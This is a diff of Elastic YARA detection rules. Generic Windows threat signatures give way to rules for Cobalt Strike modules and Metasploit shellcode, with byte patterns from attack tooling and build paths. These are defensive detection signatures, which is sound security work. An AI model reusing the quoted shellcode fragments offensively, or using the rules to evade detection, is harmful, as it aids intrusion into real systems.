+		$a5 = "Z:\\devcenter\\aggressor\\external\\sleepmask\\bin\\sleepmask_tcp.x64.o" ascii fullword
+		$a6 = "Z:\\devcenter\\aggressor\\external\\sleepmask\\bin\\sleepmask_tcp.x86.o" ascii fullword
 
 	condition:
-		all of them
+		any of them
 }
-rule ELASTIC_Windows_Generic_Threat_5Be3A474 : FILE MEMORY
+rule ELASTIC_Windows_Trojan_Cobaltstrike_A3Fb2616 : FILE MEMORY
 {
 	meta:
-		description = "Detects Windows Generic Threat (Windows.Generic.Threat)"
+		description = "Rule for browser pivot "
 		author = "Elastic Security"
-		id = "5be3a474-d12f-489f-a2a7-87d29687e2e6"
-		date = "2024-03-04"
-		modified = "2024-06-12"
+		id = "a3fb2616-b03d-4399-9342-0fc684fb472e"
+		date = "2021-10-21"
+		modified = "2022-01-13"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Windows_Generic_Threat.yar#L2943-L2961"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "b902954d634307260d5bd8fb6248271f933c1cbc649aa2073bf05e79c1aedb66"
-		logic_hash = "0f0f46e3bdebb47a4f43ccb64d65ab1e15d68d38c117cb25e5723ec16e7e0758"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Windows_Trojan_CobaltStrike.yar#L925-L947"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "36d32b1ed967f07a4bd19f5e671294d5359009c04835601f2cc40fb8b54f6a2a"
+		logic_hash = "a3c36326ccc2bc828f6654ccaba507a283f92146fdc52f71d7d934f6908793e2"
 		score = 75
 		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "8b220ea86ad3bbdcf6e2f976dc0bb84c1eb8cb1f3ad46ab5c9d19289952c912b"
-		severity = 50
+		fingerprint = "c15cf6aa7719dac6ed21c10117f28eb4ec56335f80a811b11ab2901ad36f8cf0"
+		threat_name = "Windows.Trojan.CobaltStrike"
+		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
 		license = "Elastic License v2"
 		os = "windows"
 
 	strings:
-		$a1 = { 55 8B EC 51 53 56 57 8B F9 33 F6 8D 5F 02 66 8B 07 83 C7 02 66 3B C6 75 F5 8A 01 2B FB D1 FF 8D 5F FF 85 DB 7E 23 0F B6 F8 83 C1 02 66 8B 01 8D 49 02 66 2B C7 C7 45 FC 00 08 00 00 66 2B 45 FC }
+		$a1 = "browserpivot.dll" ascii fullword
+		$a2 = "browserpivot.x64.dll" ascii fullword
+		$b1 = "$$$THREAD.C$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$" ascii fullword
+		$b2 = "COBALTSTRIKE" ascii fullword
 
 	condition:
-		all of them
+		1 of ($a*) and 2 of ($b*)
 }
-rule ELASTIC_Windows_Generic_Threat_B191061E : FILE MEMORY
+rule ELASTIC_Windows_Trojan_Cobaltstrike_8Ee55Ee5 : FILE MEMORY
 {
 	meta:
-		description = "Detects Windows Generic Threat (Windows.Generic.Threat)"
+		description = "Rule for wmi exec module"
 		author = "Elastic Security"
-		id = "b191061e-7b83-4161-a1d4-05ab70ffe2be"
-		date = "2024-03-04"
-		modified = "2024-06-12"
+		id = "8ee55ee5-67f1-4f94-ab93-62bb5cfbeee9"
+		date = "2021-10-21"
+		modified = "2022-01-13"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Windows_Generic_Threat.yar#L2963-L2981"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "bd4ef6fae7f29def8e5894bf05057653248f009422de85c1e425d04a0b2df258"
-		logic_hash = "cbee10eab984249ceb9f8a82dc06aa014d6a249321f3d4f0d1e5657aab205ec8"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Windows_Trojan_CobaltStrike.yar#L949-L969"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "36d32b1ed967f07a4bd19f5e671294d5359009c04835601f2cc40fb8b54f6a2a"
+		logic_hash = "d0cc321e15660311ae0b8e3261abe716a50a2455f82635c1b02d0a5444c8a89a"
 		score = 75
 		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "5733de0357a6b5f6a3fe885786084c23707266b48e67b19dcddc48ed97e94207"
-		severity = 50
+		fingerprint = "7e7ed4f00d0914ce0b9f77b6362742a9c8b93a16a6b2a62b70f0f7e15ba3a72b"
+		threat_name = "Windows.Trojan.CobaltStrike"
+		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
 		license = "Elastic License v2"
 		os = "windows"
 
 	strings:
-		$a1 = { 83 EC 2C 64 A1 30 00 00 00 33 D2 53 56 57 8B 40 0C 8B F2 89 4D E8 89 55 F4 89 75 F8 8B 58 0C 8B 7B 18 89 7D F0 85 FF 0F 84 34 01 00 00 C7 45 E0 60 00 00 00 8B 43 30 89 55 FC 89 55 EC }
+		$a1 = "Z:\\devcenter\\aggressor\\external\\pxlib\\bin\\wmiexec.x64.o" ascii fullword
+		$a2 = "z:\\devcenter\\aggressor\\external\\pxlib\\bin\\wmiexec.x86.o" ascii fullword
 
 	condition:
-		all of them
+		1 of ($a*)
 }
-rule ELASTIC_Windows_Generic_Threat_05F52E4D : FILE MEMORY
+rule ELASTIC_Windows_Trojan_Cobaltstrike_8D5963A2 : FILE MEMORY
 {
 	meta:
-		description = "Detects Windows Generic Threat (Windows.Generic.Threat)"
+		description = "Detects Windows Trojan Cobaltstrike (Windows.Trojan.CobaltStrike)"
 		author = "Elastic Security"
-		id = "05f52e4d-d131-491a-a037-069b450e3b3e"
-		date = "2024-03-04"
-		modified = "2024-06-12"
+		id = "8d5963a2-54a9-4705-9f34-0d5f8e6345a2"
+		date = "2022-08-10"
+		modified = "2022-09-29"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Windows_Generic_Threat.yar#L2983-L3001"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "e578b795f8ed77c1057d8e6b827f7426fd4881f02949bfc83bcad11fa7eb2403"
-		logic_hash = "79898b59b6d3564aad85d823a1450600faff5b1d2dbfbe0cee4cc59971e4f542"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Windows_Trojan_CobaltStrike.yar#L971-L989"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "9fe43996a5c4e99aff6e2a1be743fedec35e96d1e6670579beb4f7e7ad591af9"
+		logic_hash = "f4f8fba807256bd885ccf4946eec8c2fb76eb04f86ed76d015178fe512a3c091"
 		score = 75
 		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "f3d5f6dc1f9b51ce1700605c8a018000124d66a260771de0da1a321dc97872dd"
-		severity = 50
+		fingerprint = "228cd65380cf4b04f9fd78e8c30c3352f649ce726202e2dac9f1a96211925e1c"
+		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
 		license = "Elastic License v2"
 		os = "windows"
 
 	strings:
-		$a1 = { 28 00 00 06 73 45 00 00 0A 73 46 00 00 0A 6F 47 00 00 0A 14 FE 06 29 00 00 06 73 45 00 00 0A 73 46 00 00 0A 0B 14 FE 06 2A 00 00 06 73 45 00 00 0A 73 46 00 00 0A 0C 07 6F 47 00 00 0A 08 6F 47 }
+		$a = { 40 55 53 56 57 41 54 41 55 41 56 41 57 48 8D 6C 24 D8 48 81 EC 28 01 00 00 45 33 F6 48 8B D9 48 }
 
 	condition:
 		all of them
 }
-rule ELASTIC_Windows_Generic_Threat_C34E19E9 : FILE MEMORY
+rule ELASTIC_Windows_Trojan_Cobaltstrike_1787Eef5 : FILE MEMORY
 {
 	meta:
-		description = "Detects Windows Generic Threat (Windows.Generic.Threat)"
+		description = "CS shellcode variants"
 		author = "Elastic Security"
-		id = "c34e19e9-c666-4fc5-bbb3-75f64d247899"
-		date = "2024-03-04"
-		modified = "2024-06-12"
+		id = "1787eef5-ff00-4e19-bd22-c5dfc9488c7b"
+		date = "2022-08-29"
+		modified = "2022-09-29"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Windows_Generic_Threat.yar#L3003-L3021"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "f9048348a59d9f824b45b16b1fdba9bfeda513aa9fbe671442f84b81679232db"
-		logic_hash = "87999b6f2cf359b6436ee7e57691ac73fc41f3947bf8fef3f6b98148e17f180d"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Windows_Trojan_CobaltStrike.yar#L991-L1014"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "36d32b1ed967f07a4bd19f5e671294d5359009c04835601f2cc40fb8b54f6a2a"
+		logic_hash = "0b70c61e986dee3126fec6eea127e01fce4b647aff8e2d2d5072eb8328549225"
 		score = 75
 		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "148ffb1f73a3f337d188c78de638880ea595a812dfa7a0ada6dc66805637aeb3"
-		severity = 50
+		fingerprint = "292f15bdc978fc29670126f1bdc72ade1e7faaf1948653f70b6789a82dbee67f"
+		threat_name = "Windows.Trojan.CobaltStrike"
+		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
 		license = "Elastic License v2"
 		os = "windows"
 
 	strings:
-		$a1 = { 28 00 00 0A 73 18 00 00 0A 7E 02 00 00 04 17 8D 3A 00 00 01 25 16 1F 2C 9D 6F 28 00 00 0A 8E 69 6F 29 00 00 0A 9A 0A 7E 01 00 00 04 17 8D 3A 00 00 01 25 16 1F 2C 9D 6F 28 00 00 0A 73 18 00 00 }
+		$a1 = { 55 89 E5 83 EC ?? A1 ?? ?? ?? ?? C7 04 24 ?? ?? ?? ?? 89 44 24 ?? E8 ?? ?? ?? ?? 31 C0 C9 C3 55 }
+		$a2 = { 55 89 E5 83 EC ?? A1 ?? ?? ?? ?? 89 04 24 E8 ?? ?? ?? ?? 31 C0 C9 C3 55 89 E5 83 EC ?? 83 7D ?? ?? }
+		$a3 = { 55 89 E5 8B 45 ?? 5D FF E0 55 8B 15 ?? ?? ?? ?? 89 E5 8B 45 ?? 85 D2 7E ?? 83 3D ?? ?? ?? ?? ?? }
+		$a4 = { 55 89 E5 8B 45 ?? 5D FF E0 55 89 E5 83 EC ?? 8B 15 ?? ?? ?? ?? 8B 45 ?? 85 D2 7E ?? 83 3D ?? ?? ?? ?? ?? }
+		$a5 = { 4D 5A 41 52 55 48 89 E5 48 81 EC ?? ?? ?? ?? 48 8D 1D ?? ?? ?? ?? 48 89 DF 48 81 C3 ?? ?? ?? ?? }
 
 	condition:
-		all of them
+		1 of ($a*)
 }
-rule ELASTIC_Windows_Generic_Threat_E691Eaa1 : FILE MEMORY
+rule ELASTIC_Windows_Trojan_Cobaltstrike_4106070A : FILE MEMORY
 {
 	meta:
-		description = "Detects Windows Generic Threat (Windows.Generic.Threat)"
+		description = "Detects Windows Trojan Cobaltstrike (Windows.Trojan.CobaltStrike)"
 		author = "Elastic Security"
-		id = "e691eaa1-06fa-478e-8c4c-95a7df3fd077"
-		date = "2024-03-04"
-		modified = "2024-06-12"
+		id = "4106070a-24e2-421b-ab83-67b817a9f019"
+		date = "2023-05-09"
+		modified = "2023-06-13"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Windows_Generic_Threat.yar#L3023-L3041"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "afa5f36860e69b9134b93e9ad32fed0a5923772e701437e1054ea98e76f28a77"
-		logic_hash = "0ac310e3f7cf99b77c2dcfea582752e2f1414caf43965c25d2f3f03cf27586cc"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Windows_Trojan_CobaltStrike.yar#L1016-L1035"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "98789a11c06c1dfff7e02f66146afca597233c17e0d4900d6a683a150f16b3a4"
+		logic_hash = "90f0209a55ca381ca58264664e04c007c799cf558f143d0c02983d4caf47bfb8"
 		score = 75
 		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "b940eb10e338f6d703a75cd77b4b455503ae0583f5a36b8115e659d05990fc3c"
-		severity = 50
+		fingerprint = "c12b919064a9cd2a603c134c5f73f6d05ffbf4cbed1e5b5246687378102e4338"
+		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
 		license = "Elastic License v2"
 		os = "windows"
 
 	strings:
-		$a1 = { 55 8B EC 51 8B C2 53 89 45 FC 8B D9 56 99 33 F6 2B C2 57 8B F8 D1 FF 85 FF 7E 2B 8B 55 FC 4A 03 D3 0F B6 02 8D 52 FF 8A 0C 1E ?? ?? ?? ?? ?? ?? ?? 88 04 1E 46 0F B6 C1 }
+		$a1 = { 48 8B 44 24 48 0F B7 00 66 C1 E8 0C 66 83 E0 0F 0F B7 C0 83 }
+		$a2 = { 44 24 48 0F B7 00 66 C1 E8 0C 66 83 E0 0F 0F B7 C0 83 F8 0A }
 
 	condition:
 		all of them
 }
-rule ELASTIC_Windows_Generic_Threat_5E33Bb4B : FILE MEMORY
+rule ELASTIC_Windows_Trojan_Cobaltstrike_3Dc22D14 : FILE MEMORY
 {
 	meta:
-		description = "Detects Windows Generic Threat (Windows.Generic.Threat)"
+		description = "Detects Windows Trojan Cobaltstrike (Windows.Trojan.CobaltStrike)"
 		author = "Elastic Security"
-		id = "5e33bb4b-830e-4814-b6cf-d5e5b4da7ada"
-		date = "2024-03-04"
-		modified = "2024-06-12"
+		id = "3dc22d14-a2f4-49cd-a3a8-3f071eddf028"
+		date = "2023-05-09"
+		modified = "2023-06-13"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Windows_Generic_Threat.yar#L3043-L3061"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "13c06d7b030a46c6bb6351f40184af9fafaf4c67b6a2627a45925dd17501d659"
-		logic_hash = "7e2002c3917ccab7d9f56a7aa20ea75be71aa7fdc64b7c3f87edb68be38e74b2"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Windows_Trojan_CobaltStrike.yar#L1037-L1056"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "7898194ae0244611117ec948eb0b0a5acbc15cd1419b1ecc553404e63bc519f9"
+		logic_hash = "2f52cd5f3b782c28e372c3daa9b7ddc4d2b9f68832f5250983412c2e7a755e73"
 		score = 75
-		quality = 73
+		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "a08b9db015f1b6f62252d456b1b0cd0fdec1e19cdd2bc1400fe2bf76150ea07b"
-		severity = 50
+		fingerprint = "0e029fac50ffe8ea3fc5bc22290af69e672895eaa8a1b9f3e9953094c133392c"
+		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
 		license = "Elastic License v2"
 		os = "windows"
 
 	strings:
-		$a1 = { 43 3A 5C 55 73 65 72 73 5C 61 64 6D 69 6E 5C 44 65 73 6B 74 6F 70 5C 57 6F 72 6B 5C 46 69 6C 65 49 6E 73 74 61 6C 6C 65 72 5C 52 65 6C 65 61 73 65 5C 46 69 6C 65 49 6E 73 74 61 6C 6C 65 72 2E 70 64 62 }
+		$a1 = "%02d/%02d/%02d %02d:%02d:%02d" fullword
+		$a2 = "%s as %s\\%s: %d" fullword
 
 	condition:
 		all of them
 }
-rule ELASTIC_Windows_Generic_Threat_Be64Ba10 : FILE MEMORY
+rule ELASTIC_Windows_Trojan_Cobaltstrike_7F8Da98A : FILE MEMORY
 {
 	meta:
-		description = "Detects Windows Generic Threat (Windows.Generic.Threat)"
+		description = "Detects Windows Trojan Cobaltstrike (Windows.Trojan.CobaltStrike)"
 		author = "Elastic Security"
-		id = "be64ba10-ea9d-45df-8c9b-2facc825b652"
-		date = "2024-03-04"
-		modified = "2024-06-12"
+		id = "7f8da98a-3336-482b-91da-82c7cef34c62"
+		date = "2023-05-09"
+		modified = "2023-06-13"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Windows_Generic_Threat.yar#L3063-L3082"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "24bb4fc117aa57fd170e878263973a392d094c94d3a5f651fad7528d5d73b58a"
-		logic_hash = "c6acce53610baf119a0e2d55fc698a976463bbd21b739d4ac39a75383fa5fed2"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Windows_Trojan_CobaltStrike.yar#L1058-L1076"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "e3bc2bec4a55ad6cfdf49e5dbd4657fc704af1758ca1d6e31b83dcfb8bf0f89d"
+		logic_hash = "6c8698d65cbbf893f79ca1de5273535891418c87c234a2542f5f8079e56d9507"
 		score = 75
-		quality = 71
+		quality = 73
 		tags = "FILE, MEMORY"
-		fingerprint = "9496099988cf4f854bf7f70bae158c6e17025a7537245c5f1d92a90f6b9bca67"
-		severity = 50
+		fingerprint = "c375492960a6277bf665bea86302cec774c0d79506e5cb2e456ce59f5e68aa2e"
+		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
 		license = "Elastic License v2"
 		os = "windows"
 
 	strings:
-		$a1 = { 22 65 6E 63 72 79 70 74 65 64 5F 6B 65 79 22 3A 22 28 2E 2B 3F 29 22 }
-		$a2 = { 2E 3F 41 56 3C 6C 61 6D 62 64 61 5F 37 65 66 38 63 66 32 36 39 61 32 32 38 62 36 30 34 64 36 35 34 33 32 65 37 65 63 33 37 30 31 34 3E 40 40 }
+		$a1 = { 25 63 25 63 25 63 25 63 25 63 25 63 25 63 25 63 25 63 4D 53 53 45 2D 25 64 2D 73 65 72 76 65 72 }
 
 	condition:
 		all of them
 }
-rule ELASTIC_Windows_Generic_Threat_7Bb75582 : FILE MEMORY
+rule ELASTIC_Windows_Trojan_Metasploit_A6E956C9 : FILE MEMORY
 {
 	meta:
-		description = "Detects Windows Generic Threat (Windows.Generic.Threat)"
+		description = "Identifies the API address lookup function leverage by metasploit shellcode"
 		author = "Elastic Security"
-		id = "7bb75582-ffcd-4a91-8816-811a3f9bdec8"
-		date = "2024-03-04"
-		modified = "2024-06-12"
+		id = "a6e956c9-799e-49f9-b5c5-ac68aaa2dc21"
+		date = "2021-03-23"
+		modified = "2021-08-23"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Windows_Generic_Threat.yar#L3084-L3102"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "35f9698e9b9f611b3dd92466f18f97f4a8b4506ed6f10d4ac84303177f43522d"
-		logic_hash = "d959f755d28782b332248085034950a8d4cad3cde13b22254c90ca3952919e1b"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Windows_Trojan_Metasploit.yar#L1-L19"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		logic_hash = "fb4e3e54618075d5ef6ec98d1ba9c332ce9f677f0879e07b34a2ca08b2180dd9"
 		score = 75
-		quality = 73
+		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "326a08e467cbedb01c640232ad2f4da729894f09ccf5faba93926e1efded9b59"
-		severity = 50
+		fingerprint = "21855599bc51ec2f71d694d4e0f866f815efe54a42842dfe5f8857811530a686"
+		threat_name = "Windows.Trojan.Metasploit"
+		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
 		license = "Elastic License v2"
 		os = "windows"
 
 	strings:
-		$a1 = { 48 4B 45 59 5F 43 55 52 52 45 4E 54 5F 55 53 45 52 5C 53 6F 66 74 77 61 72 65 5C 4D 69 63 72 6F 73 6F 66 74 5C 57 69 6E 64 6F 77 73 5C 43 75 72 72 65 6E 74 56 65 72 73 69 6F 6E 5C 49 6E 74 65 72 6E 65 74 20 53 65 74 74 69 6E 67 73 5C 43 6F 6E 6E 65 63 74 69 6F 6E 73 20 5B 31 20 37 20 31 37 5D }
+		$a1 = { 60 89 E5 31 C0 64 8B 50 30 8B 52 0C 8B 52 14 8B 72 28 0F B7 4A 26 31 FF AC 3C 61 7C 02 2C 20 }
 
 	condition:
-		all of them
+		$a1
 }
-rule ELASTIC_Windows_Generic_Threat_59698796 : FILE MEMORY
+rule ELASTIC_Windows_Trojan_Metasploit_38B8Ceec : FILE MEMORY
 {
 	meta:
-		description = "Detects Windows Generic Threat (Windows.Generic.Threat)"
+		description = "Identifies the API address lookup function used by metasploit. Also used by other tools (like beacon)."
 		author = "Elastic Security"
-		id = "59698796-0022-486a-a743-6931745f38a0"
-		date = "2024-03-04"
-		modified = "2024-06-12"
+		id = "38b8ceec-601c-4117-b7a0-74720e26bf38"
+		date = "2021-03-23"
+		modified = "2021-08-23"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Windows_Generic_Threat.yar#L3104-L3122"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "35f9698e9b9f611b3dd92466f18f97f4a8b4506ed6f10d4ac84303177f43522d"
-		logic_hash = "59569049dbb09b7e15110fb8de1a146eb7fd606f116b4dd6c75ca973fb62296e"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Windows_Trojan_Metasploit.yar#L21-L39"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		logic_hash = "8e3bc02661cedb9885467373f8120542bb7fc8b0944803bc01642fbc8426298b"
 		score = 75
 		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "9260d02c3e6b163fd376445bd2a9c084ed85a5dbaf0509e15fff4e9c3d147f19"
-		severity = 50
+		fingerprint = "44b9022d87c409210b1d0807f5a4337d73f19559941660267d63cd2e4f2ff342"
+		threat_name = "Windows.Trojan.Metasploit"
+		severity = 85
 		arch_context = "x86"
 		scan_context = "file, memory"
 		license = "Elastic License v2"
 		os = "windows"
 
 	strings:
-		$a1 = { 55 8B EC 81 EC B8 04 00 00 ?? ?? ?? ?? ?? 33 C5 89 45 FC 56 68 00 04 00 00 0F 57 C0 C7 45 F8 00 00 00 00 8D 85 58 FB FF FF C7 85 54 FB FF FF 24 00 00 00 6A 00 50 8B F1 0F 11 45 D8 0F 11 45 E8 }
+		$a1 = { 89 E5 31 D2 64 8B 52 30 8B 52 0C 8B 52 14 8B 72 28 0F B7 4A 26 31 FF 31 C0 AC 3C 61 }
 
 	condition:
-		all of them
+		$a1
 }
-rule ELASTIC_Windows_Generic_Threat_2Ae9B09E : FILE MEMORY
+rule ELASTIC_Windows_Trojan_Metasploit_7Bc0F998 : FILE MEMORY
 {
 	meta:
-		description = "Detects Windows Generic Threat (Windows.Generic.Threat)"
+		description = "Identifies the API address lookup function leverage by metasploit shellcode"
 		author = "Elastic Security"
-		id = "2ae9b09e-b810-4bd2-9cb8-18b1d504eede"
-		date = "2024-03-05"
-		modified = "2024-06-12"
+		id = "7bc0f998-7014-4883-8a56-d5ee00c15aed"
+		date = "2021-03-23"
+		modified = "2021-08-23"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Windows_Generic_Threat.yar#L3124-L3142"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "dc8f4784c368676cd411b7d618407c416d9e56d116dd3cd17c3f750e6cb60c40"
-		logic_hash = "183249214e5f8143eb91caf20778b870d17d7a52b6d71ad603827e8716e7e447"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Windows_Trojan_Metasploit.yar#L41-L59"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		logic_hash = "29cb48086dbcd48bd83c5042ed78370e127e1ea5170ee7383b88659b31e896b5"
 		score = 75
 		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "13ab32abf52bca58dfac79c09882ec4cb80b606693db19813d84e625bda93549"
-		severity = 50
+		fingerprint = "fdb5c665503f07b2fc1ed7e4e688295e1222a500bfb68418661db60c8e75e835"
+		threat_name = "Windows.Trojan.Metasploit"
+		severity = 84
 		arch_context = "x86"
 		scan_context = "file, memory"
 		license = "Elastic License v2"
 		os = "windows"
 
 	strings:
-		$a1 = { 55 8B EC 51 51 8B 45 08 89 45 FC 8B 45 0C 89 45 F8 8B 45 0C 48 89 45 0C 83 7D F8 00 76 0F 8B 45 FC C6 00 00 8B 45 FC 40 89 45 FC EB DE 8B 45 08 C9 C3 6A 41 5A 0F B7 C1 66 3B D1 77 0C 66 83 F9 }
+		$a1 = { 48 31 D2 65 48 8B 52 60 48 8B 52 18 48 8B 52 20 48 8B 72 50 48 0F B7 4A 4A 4D 31 C9 48 31 C0 AC 3C 61 }
 
 	condition:
-		all of them
+		$a1
 }
-rule ELASTIC_Windows_Generic_Threat_604A8763 : FILE MEMORY
+rule ELASTIC_Windows_Trojan_Metasploit_F7F826B4 : FILE MEMORY
 {
 	meta:
-		description = "Detects Windows Generic Threat (Windows.Generic.Threat)"
+		description = "Identifies metasploit kernel->user shellcode. Likely used in ETERNALBLUE and BlueKeep exploits."
 		author = "Elastic Security"
-		id = "604a8763-7ec1-4474-b238-2ebbaf24afa2"
-		date = "2024-03-05"
-		modified = "2024-06-12"
+		id = "f7f826b4-6456-4819-bc0c-993aeeb7e325"
+		date = "2021-03-23"
+		modified = "2021-08-23"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Windows_Generic_Threat.yar#L3144-L3162"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "2a51fb11032ec011448184a4f2837d05638a7673d16dcf5dcf4005de3f87883a"
-		logic_hash = "cf88c0d102680fc7c16d49b6e8dc49c16b27d5940edf078e667a45e70ebe3883"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Windows_Trojan_Metasploit.yar#L61-L79"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		logic_hash = "2f5264e07c65d5ef4efe49a48c24ccef9a4b9379db581d2cf18e1131982e6f2f"
 		score = 75
 		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "c74c1dc7588d01112c3995b17e9772af15fb1634ebfb417b8c0069ac1f334e74"
-		severity = 50
+		fingerprint = "9b07dc54d5015d0f0d84064c5a989f94238609c8167cae7caca8665930a20f81"
+		threat_name = "Windows.Trojan.Metasploit"
+		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
 		license = "Elastic License v2"
 		os = "windows"
 
 	strings:
